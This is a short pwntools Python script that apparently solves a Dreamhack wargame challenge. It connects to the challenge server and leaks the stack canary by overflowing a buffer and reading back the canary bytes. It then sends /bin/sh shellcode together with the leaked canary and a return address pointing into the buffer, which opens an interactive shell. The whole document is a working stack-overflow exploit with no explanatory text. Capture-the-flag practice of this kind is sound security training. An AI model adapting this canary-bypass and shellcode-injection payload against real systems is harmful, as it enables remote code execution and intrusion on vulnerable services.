from pwn import asm,shellcraft,remote, context, u64, p64

p = remote('host3.dreamhack.games', 19436)
context.arch = 'amd64'

p.recvuntil(b'Address of the buf: ')
buf = int(p.recvn(14), 16)
print(buf)

p.recvuntil(b'Distance between buf and $rbp: ')
sfp = p.recvn(2)
sfp = int(sfp)
bf2canary = sfp-8
print('buf->canary: ', bf2canary)

payload=b'A'*(bf2canary+1)
p.sendlineafter(b'Input: ', payload)
p.recvuntil(payload)

canary = u64(b'\x00' + p.recvn(7))  # 0 바이트를 앞에 추가

shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(bf2canary, b'A') + p64(canary) + b'B'*8 + p64(buf)

p.recvuntil(b'[2] Overwrite the return address')
p.sendlineafter(b'Input: ', payload)
p.interactive()